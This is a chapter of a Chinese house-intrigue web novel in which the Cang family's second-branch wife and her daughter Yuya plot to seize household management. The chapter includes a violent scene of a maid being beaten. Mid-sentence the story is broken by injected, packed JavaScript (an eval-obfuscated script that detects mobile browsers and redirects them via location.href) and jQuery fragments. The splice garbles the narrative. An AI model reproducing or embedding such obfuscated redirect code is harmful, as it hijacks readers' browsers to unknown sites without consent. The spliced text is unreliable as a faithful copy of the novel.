“掌家之权给她?她多大的脸面。”二房夫人眼一抬,眼中尽是不屑。
老夫人看着她,眼中闪过一丝精明,她故意垂下头,叹了又叹:“老婆子老了,管不动了,迟早有一天只要交给你们的,就当是早点儿交出来,趁老婆子还在,还可以帮你们一把……”
二房夫人闻言,眼珠子一转:“哎呀,母亲说的什么话,母亲还年轻着呢,哪里会老,这么多年您管得也挺好不是?按媳妇儿说,您就继续管着,媳妇儿我没意见!老三媳妇儿,你说呢?”
三房夫人依然端庄大方地坐着,听到二房的话,她脸上表情都没有变过一瞬,甚至眼珠子都没有动一下,她板着脸,神情麻木:“你们要做什么,与我无关。”
她就像是这世界的过客,什么都不在乎了一样。
“装什么装,假清高……”二房夫人暗自嘀咕道,眼神轻蔑,不过等她一转头看向老夫人后,眼里又立马挂上了谄媚的笑意:“您看,老三媳妇儿也无心掌家,这个家还要靠母亲您呢!”
老夫人在李熙那里受尽了脾气,此刻被二房一哄心里倒是很慰贴,她睨了一眼三房夫人,冷哼一声:“瞧瞧这老二媳妇儿,多识大体。老三媳妇儿你有空多跟着你嫂子学学,别一天愁眉苦脸苦大仇深的,不知道的人还以为是我沧家欠你的!”
“媳妇儿知错。”三房语气冷冷淡淡。
老夫人看着她来气,索性看向二房夫人,二房夫人立马陪笑,老夫人感慨道:“这个家说起来还是老二媳妇儿你最得老婆子的心了,如果非要选一个掌家,老婆子肯定是嘱意你的……”
她说着像是想到了什么,恨恨一拍桌:“家里娶进来个丧门星,逼得老婆子不快活,而那丫头还大言不惭要夺这掌家之权!哎,老二媳妇儿啊,不是老婆子不帮你家,只是沧白藏那小子站在她那边。说到底,还是你们自家的女儿不争气,若是玉雅,承兰两姐妹有一个能像沧白月那小蹄子一般攀上高枝,山鸡变凤凰,玉陇和成宇早就飞黄腾达了,哪能像现在,全家都得看那小子的脸色,让老婆子也没办法。”
“那小贱蹄子竟敢惹母亲生气,是死一万次都不为过的!”二房怒道,似乎在为老夫人鸣不平。
老夫人又叹了口气:“罢了,罢了,咱们婆媳闲聊便罢了,毕竟人家是县主,是皇亲国戚。喝茶吧,喝完就散去,老婆子有些累了。”
二房夫人还想说什么,却被一句“累了”堵了回去,她咬咬牙,最后只能说句“是”,便一口将那热茶饮尽。
“啪!”
一回到房间,二房夫人就气得忍不住,将桌上的茶具扫落一地,旁边伺候的丫鬟面面相觑,皆战战兢兢跪了下去。
二房夫人望着一地瓷片,怒不可遏:“大房儿子有本事又如何,还是个扶不上墙的阿斗,总不能让个妾室掌家,平白闹了笑话!按理,原本这掌家之权就该给我,谁料半路杀出个程咬金!”
“那死老太婆以前管着不放,净知道欺负我等,现在来了个厉害的就唯唯诺诺不敢说话了,要什么就给什么,欺软怕硬的老东西!”
“她那话什么意思,不仅讽刺我女儿是山鸡,还明里暗里说我儿比不上那沧白藏?岂有此理!”
“那老三媳妇儿也是个蠢的,都被人欺负到头上了还一副清高模样,怎么,就还想被人欺负几十年吗?”
“废物,废物!都是废物!”
她狠狠踩在瓷片上,将那瓷片踩得更碎却仍不解气。
她一抬眸,冷眼扫向跪地的丫鬟,她直接大跨步向前,抬手就是清脆的一巴掌:“看看看,看什么看,你们也敢看本夫人的笑话吗?”
“还有你个贱蹄子,头仰那么高做什么,仗着自己年轻勾引谁的呢!”又是清脆的一巴掌。
“夫人,奴不敢……”被打的丫鬟瑟瑟发抖,连忙匍匐下来。
她提起裙摆,一抬脚就将那丫鬟的头狠狠踩到地面,她鞋底沾染的瓷片碎末生生扎在丫鬟的头发里,她还不解气,又用力碾了碾,不一会儿,鲜血就从那丫鬟脸两侧流了下来。
丫鬟疼得倒吸了口凉气,却不敢哭嚎,生怕让夫人更加恼怒。
“母亲何故如此?”
门外缓缓走来一女子,看着丫鬟的脸,眼中有些许不忍。
少女容貌极佳,一身淡黄色长裙,优雅大方。她款步而来,步履缓慢而轻盈,就像窗外的黄鹂鸟一般。
“小姐!”
丫鬟仿佛看见了救星一般。
少女摇头,将手帕轻轻递给那丫鬟:“你们下去吧,我有事同母亲商量。”
“是!”
丫鬟们如蒙大赦,连滚带爬地往外面跑。
门缓缓关上,少女眼中的温柔瞬间褪去,她望着自家母亲,脸上无一丝波澜。
“玉、玉雅……”二房夫人看着她竟隐隐有些心虚。
沧玉雅坐在一旁,声音有些无奈:“母亲,当今圣上喜爱仁德之人,你在沧家公然打骂奴仆,若传出去毁的便是我们二房的名声。你哪怕不为我想想,也得为弟弟想想吧?”
“就几个丫鬟,不碍事的……她们若敢传出去,仔细她们的皮!”她说着又理直气壮起来。
沧玉雅听得咬牙,这个蠢妇!
她垂眸遮住自己眼中的嫌弃,语气越发温柔起来:“母亲,祖母总嫌弃咱们二房三房出不了金凤凰,帮扶不了父亲和叔父,咱们自当自强自立。玉陇在太学给太子殿下当了伴读,算是给咱们出了脸,这是咱们最好的机会。”
“咱们玉陇自然是极好的!”二房夫人得意起来。
“等咱们玉陇年纪再长些就可以做官了,一定比那沧白藏更出色,那时候,看那死老太婆还敢给老娘脸色看!那掌家之权也必然是我的!”
“玉陇那边自然是放长线钓大鱼,咱们这边掌家之权也不能放弃。对了,母亲今日可有听女儿的话哄着祖母,祖母如何说?”沧玉雅这才问起二房夫人今
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15778392|157348||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
日发生的事情。
二房夫人道:“我自然是将你的话都说给那老太婆听了,她还骂三房是木头,夸了咱们二房呢!不过雅雅啊,她现在是被那野鸡县主吓破了胆,哄着她根本没用,她都做不了主了!咱们还是别把心思放在她身上,不如想想怎么对付那县主,将掌家之权收归咱们二房手中!”
沧玉雅只觉得自己的父亲怎么会看上这么蠢的女人,目光短浅得惊人,而这么蠢的女人居然还是她娘亲,简直可怕!
沧玉陇那白痴就是随了她吧!
她磨了磨牙强忍下那股轻蔑,揉碎了掰开了仔细地跟她讲道:“母亲,话不是这么说的。祖母掌权多年,整个沧府哪里没有祖母的人?您瞧,就连大哥那密不透风的院子不都被塞进了祖母的人,闹了个小笑话吗?您只管哄着祖母,让她明白谁才是她的人,谁才是她可以信任的人,祖母总会力不从心的,那时候,祖母的不就是您的了吗?现下,祖母厌恨明熙县主,肯定会给大房使绊子,加之祖母又讨厌叔母木楞的性子,若您嘴甜一些,那她不是就只能喜欢您了吗?”
“那死老太婆真会喜欢我?”二房夫人半信半疑。
沧玉雅笑道:“自然。退一万步讲,那时候,她哪怕不喜欢您,可又能喜欢谁呢?南朝最重孝道,孝之一字可压死人,咱们够孝顺,名声就够好,名声越好,就越容易被陛下宠爱,更何祖母还有诰命,还有许多闺中密友,若有祖母关照,您还怕玉陇没有个好前途,还怕玉雅嫁不了好人家?”
“好像是这个理儿!”二房夫人豁然开朗,她立马眉开眼笑:“还是咱们雅雅聪明,对,哄着她,就得哄着她。那她现在这么讨厌那明熙县主,我要不要去教训教训县主,在你祖母那里也讨个好?”
沧玉雅闻言连忙拉住了自家母亲的手:“若祖母出手,母亲可顺水推舟,若祖母不出手,母亲万万不可轻举妄动!母亲,现下咱们羽翼未丰,不能轻易得罪大哥。”
二房夫人挠了挠头:“真麻烦,那我该怎么做?”
沧玉雅眼珠一转:“咱们不能得罪大哥,同时还要讨好祖母。”
“那怎么办?”
“表姐。”
“康若音?又关她什么事?”二房夫人越发不解。
沧玉雅脸都快僵了,榆木脑袋都开窍了,偏生她娘不开窍。
她忍着怒气道:“表姐深得祖母喜欢,现在又是大哥的妾室,要想两边不得罪,那就只能从她入手,说不定还能……”
接下来的话她没有开口,而是在心中默默说完:说不定还能重创明熙县主,让她暂时无法对沧家掌家之权出手。
不论如何,这掌家之权只能是二房的!沧玉雅微微眯起了眼睛,眼中充满了志在必得。
“罢了,你说的总是对的!我听你的。”二房夫人说道。
沧玉雅这才松了口气,她笑着拍了拍自家母亲的手背:“娘亲放心,只要您相信女儿,什么都会是咱们二房的!”